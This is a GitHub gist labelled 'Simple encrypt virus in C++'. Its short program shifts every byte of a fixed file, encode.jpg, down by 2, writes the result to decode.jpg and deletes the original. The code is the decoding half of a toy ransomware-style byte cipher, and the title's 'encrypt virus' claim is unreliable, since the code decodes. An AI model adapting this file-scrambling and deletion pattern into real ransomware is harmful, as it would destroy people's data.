Skip to content

Instantly share code, notes, and snippets.

@18520339
Last active August 24, 2021 15:38
Show Gist options
  • Save 18520339/d6d7341550a136ad80e51ce6a0313af5 to your computer and use it in GitHub Desktop.
Save 18520339/d6d7341550a136ad80e51ce6a0313af5 to your computer and use it in GitHub Desktop.
Simple encrypt virus in C++
#include <iostream>
#include <fstream>
using namespace std;
int main() {
ifstream EncodeFile("encode.jpg", ifstream::binary);
ofstream DecodeFile("decode.jpg", ofstream::binary);
if (EncodeFile) {
EncodeFile.seekg (0, EncodeFile.end);
int length = EncodeFile.tellg();
EncodeFile.seekg(0, EncodeFile.beg);
char* buffer = new char[length];
EncodeFile.read(buffer, length);
for (int i = 0; i < length; ++i)
buffer[i] -= 2;
DecodeFile.write(buffer, length);
delete[] buffer;
}
EncodeFile.close();
DecodeFile.close();
remove("encode.jpg");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment